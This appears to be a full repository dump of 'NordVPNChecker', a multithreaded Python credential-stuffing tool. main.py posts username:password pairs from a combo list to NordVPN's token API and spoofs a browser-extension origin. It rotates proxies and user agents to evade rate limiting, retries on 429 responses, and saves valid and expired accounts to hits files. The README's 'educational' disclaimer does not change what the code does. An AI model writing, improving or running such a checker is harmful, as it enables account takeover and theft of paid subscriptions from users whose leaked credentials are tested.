├── combos.txt
├── proxies.txt
├── [Results]
└── removeme.txt
├── requirements.txt
├── run_script.bat
├── .gitattributes
├── requirements_install.bat
├── README.md
├── .gitignore
├── helpers.py
└── main.py
/combos.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/proxies.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/[Results]/removeme.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests==2.26.0
--------------------------------------------------------------------------------
/run_script.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | cls
3 | color a
4 | python main.py
5 | pause
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/requirements_install.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | title Requirements installer
3 | cls
4 | color a
5 | pip3 install -r requirements.txt
6 | pause
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NordVPNChecker
2 | Check multiple accounts validity on NordVPN.
3 |
4 | # Features
5 | - Title update.
6 | - Multithreading.
7 | - Proxy rotation.
8 | - Useragent rotation.
9 | - Expire check.
10 | - Detailed hits.
11 |
12 | # Preview
13 | 
14 |
15 | # Installation
16 | - First method, make sure you have python 3.8.7 or higher.
17 | ```
18 | pip3 install -r requirements.txt then run the command python main.py
19 | ```
20 | - Second method, run
21 | ```
22 | requirements_install.bat
23 | ```
24 | ```
25 | run_script.bat
26 | ```
27 | - Third method, download the exe version from the releases tab on the right side.
28 |
29 | # Note
30 | - If you have any issues or noticed something feel free to report the issue so i can fix it when i will have time.
31 |
32 | # Legal
33 | The software designed to perform website security testing.
34 | The author is not responsible for any illegal use of these programs.
35 | I am not accountable for anything you get into.
36 | I am not accountable for any of your actions.
37 | This is 100% educational, please do not misuse this tool.
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # celery beat schedule file
95 | celerybeat-schedule
96 |
97 | # SageMath parsed files
98 | *.sage.py
99 |
100 | # Environments
101 | .env
102 | .venv
103 | env/
104 | venv/
105 | ENV/
106 | env.bak/
107 | venv.bak/
108 |
109 | # Spyder project settings
110 | .spyderproject
111 | .spyproject
112 |
113 | # Rope project settings
114 | .ropeproject
115 |
116 | # mkdocs documentation
117 | /site
118 |
119 | # mypy
120 | .mypy_cache/
121 | .dmypy.json
122 | dmypy.json
123 |
124 | # Pyre type checker
125 | .pyre/
126 | bads.txt
127 | NordVPNChecker.zip
128 | NordVPNChecker/combos.txt
129 | NordVPNChecker/NordVPNChecker.exe
130 | NordVPNChecker/proxies.txt
131 | NordVPNChecker/useragents.txt
132 |
--------------------------------------------------------------------------------
/helpers.py:
--------------------------------------------------------------------------------
1 | from os import name,system,stat
2 | from sys import stdout
3 | from time import sleep
4 | from datetime import datetime
5 | from random import choice
6 |
7 | colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m",'bblue':"\033[1;34;40m",'bcyan':"\033[1;36;40m"}
8 |
9 | def _clear():
10 | """Clears the console on every os."""
11 | if name == 'posix':
12 | system('clear')
13 | elif name in ('ce', 'nt', 'dos'):
14 | system('cls')
15 | else:
16 | print("\n") * 120
17 |
18 | def _setTitle(title:str):
19 | """Sets the console title on every os."""
20 | if name == 'posix':
21 | stdout.write(f"\x1b]2;{title}\x07")
22 | elif name in ('ce', 'nt', 'dos'):
23 | system(f'title {title}')
24 | else:
25 | stdout.write(f"\x1b]2;{title}\x07")
26 |
27 | def _printText(bracket_color,text_in_bracket_color,text_in_bracket,text):
28 | """Prints colored formatted text."""
29 | stdout.flush()
30 | text = text.encode('ascii','replace').decode()
31 | stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n')
32 |
33 | def _readFile(filename,method):
34 | """Read file with empty and file not found check."""
35 | try:
36 | if stat(filename).st_size != 0:
37 | with open(filename,method,encoding='utf8') as f:
38 | content = [line.strip('\n') for line in f]
39 | return content
40 | else:
41 | _printText(colors['red'],colors['white'],'ERROR',f'{filename} is empty!')
42 | sleep(2)
43 | raise SystemExit
44 | except FileNotFoundError:
45 | _printText(colors['red'],colors['white'],'ERROR','File not found!')
46 |
47 | def _getCurrentTime():
48 | """Returns the current time formatted."""
49 | now = datetime.now()
50 | curr_time = now.strftime("%Y-%m-%d %H:%M:%S")
51 | return curr_time
52 |
53 | def _getRandomUserAgent(path):
54 | """Returns a random user agent."""
55 | useragents = _readFile(path,'r')
56 | return choice(useragents)
57 |
58 | def _getRandomProxy(use_proxy, proxy_type,path):
59 | """Returns random proxy dict with proxy type check."""
60 | proxies = {}
61 | if use_proxy == 1:
62 | proxies_file = _readFile(path, 'r')
63 | random_proxy = choice(proxies_file)
64 | if proxy_type == 1:
65 | proxies = {
66 | "http": "http://{0}".format(random_proxy),
67 | "https": "https://{0}".format(random_proxy)
68 | }
69 | elif proxy_type == 2:
70 | proxies = {
71 | "http": "socks4://{0}".format(random_proxy),
72 | "https": "socks4://{0}".format(random_proxy)
73 | }
74 | else:
75 | proxies = {
76 | "http": "socks5://{0}".format(random_proxy),
77 | "https": "socks5://{0}".format(random_proxy)
78 | }
79 | else:
80 | proxies = {
81 | "http": None,
82 | "https": None
83 | }
84 | return proxies
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import json
2 | from helpers import _clear,_setTitle,_printText,_readFile,_getCurrentTime,_getRandomUserAgent,_getRandomProxy,colors
3 | from threading import Thread,active_count, current_thread
4 | from time import sleep
5 | from datetime import datetime
6 | import requests
7 |
8 | class Main:
9 | def __init__(self) -> None:
10 | _setTitle('[NordVPN]')
11 | _clear()
12 | title = colors['bcyan']+"""
13 | ╔═════════════════════════════════════════════════════════════════════════╗
14 | $$\ $$\ $$\ $$\ $$\ $$$$$$$\ $$\ $$\
15 | $$$\ $$ | $$ |$$ | $$ |$$ __$$\ $$$\ $$ |
16 | $$$$\ $$ | $$$$$$\ $$$$$$\ $$$$$$$ |$$ | $$ |$$ | $$ |$$$$\ $$ |
17 | $$ $$\$$ |$$ __$$\ $$ __$$\ $$ __$$ |\$$\ $$ |$$$$$$$ |$$ $$\$$ |
18 | $$ \$$$$ |$$ / $$ |$$ | \__|$$ / $$ | \$$\$$ / $$ ____/ $$ \$$$$ |
19 | $$ |\$$$ |$$ | $$ |$$ | $$ | $$ | \$$$ / $$ | $$ |\$$$ |
20 | $$ | \$$ |\$$$$$$ |$$ | \$$$$$$$ | \$ / $$ | $$ | \$$ |
21 | \__| \__| \______/ \__| \_______| \_/ \__| \__| \__|
22 | ╚═════════════════════════════════════════════════════════════════════════╝
23 | """
24 | print(title)
25 | self.stop_thread = False
26 |
27 | self.hit = 0
28 | self.bad = 0
29 | self.expired = 0
30 | self.retries = 0
31 |
32 | self.use_proxy = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}[1]Proxy/[2]Proxyless:{colors["bcyan"]} '))
33 | self.proxy_type = None
34 |
35 | if self.use_proxy == 1:
36 | self.proxy_type = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}[1]Https/[2]Socks4/[3]Socks5:{colors["bcyan"]} '))
37 |
38 | self.threads = int(input(f'{colors["bcyan"]}[>] {colors["yellow"]}Threads:{colors["bcyan"]} '))
39 | self.session = requests.session()
40 | print('')
41 |
42 | def _titleUpdate(self):
43 | while True:
44 | _setTitle(f'[NordVPN] ^| HITS: {self.hit} ^| BAD: {self.bad} ^| EXPIRED: {self.expired} ^| RETRIES: {self.retries}')
45 | sleep(0.4)
46 | if self.stop_thread == True:
47 | break
48 |
49 | def _check(self,user,password):
50 | useragent = _getRandomUserAgent('useragents.txt')
51 | headers = {'User-Agent':useragent,'Content-Type':'application/json','Host':'api.nordvpn.com','Accept':'application/json','DNT':'1','Origin':'chrome-extension://fjoaledfpmneenckfbpdfhkmimnjocfa'}
52 | proxy = _getRandomProxy(self.use_proxy,self.proxy_type,'proxies.txt')
53 | payload = {'username':user,'password':password}
54 | try:
55 | response = self.session.post('https://api.nordvpn.com/v1/users/tokens',json=payload,proxies=proxy,headers=headers)
56 |
57 | if "'code': 100103" in response.text:
58 | self.bad += 1
59 | _printText(colors['bcyan'],colors['red'],'BAD',f'{user}:{password}')
60 | with open('[Results]/bads.txt','a',encoding='utf8') as f:
61 | f.write(f'{user}:{password}\n')
62 | elif "'code': 101301" in response.text:
63 | self.bad += 1
64 | _printText(colors['bcyan'],colors['red'],'BAD',f'{user}:{password}')
65 | with open('[Results]/bads.txt','a',encoding='utf8') as f:
66 | f.write(f'{user}:{password}\n')
67 | elif 'user_id' in response.text:
68 | expires_at = response.json()['expires_at']
69 | expires_at = datetime.strptime(expires_at,"%Y-%m-%d %H:%M:%S")
70 | curr_time = datetime.strptime(_getCurrentTime(),"%Y-%m-%d %H:%M:%S")
71 | if expires_at < curr_time:
72 | self.expired += 1
73 | _printText(colors['bcyan'],colors['red'],'EXPIRED',f'{user}:{password} [{expires_at}]')
74 | with open('[Results]/expireds.txt','a',encoding='utf8') as f:
75 | f.write(f'{user}:{password} [{str(expires_at)}\n')
76 | else:
77 | self.hit += 1
78 | _printText(colors['bcyan'],colors['green'],'HIT',f'{user}:{password} [{expires_at}]')
79 | with open('[Results]/hits.txt','a',encoding='utf8') as f:
80 | f.write(f'{user}:{password}\n')
81 | with open('[Results]/detailed_hits.txt','a',encoding='utf8') as f:
82 | f.write(f'{user}:{password} [{str(expires_at)}]\n')
83 | elif '429 Too Many Requests' in response.text:
84 | self.retries += 1
85 | self._check(user,password)
86 | else:
87 | self.retries += 1
88 | self._check(user,password)
89 | except Exception:
90 | self.retries += 1
91 | self._check(user,password)
92 |
93 | def _start(self):
94 | combos = _readFile('combos.txt','r')
95 | t = Thread(target=self._titleUpdate)
96 | t.start()
97 | threads = []
98 | for combo in combos:
99 | run = True
100 |
101 | user = combo.split(':')[0]
102 | password = combo.split(':')[1]
103 |
104 | while run:
105 | if active_count()<=self.threads:
106 | thread = Thread(target=self._check,args=(user,password))
107 | threads.append(thread)
108 | thread.start()
109 | run = False
110 |
111 | for x in threads:
112 | x.join()
113 |
114 | print('')
115 | _printText(colors['bcyan'],colors['yellow'],'FINISHED','Process done!')
116 |
117 | if __name__ == '__main__':
118 | Main()._start()
--------------------------------------------------------------------------------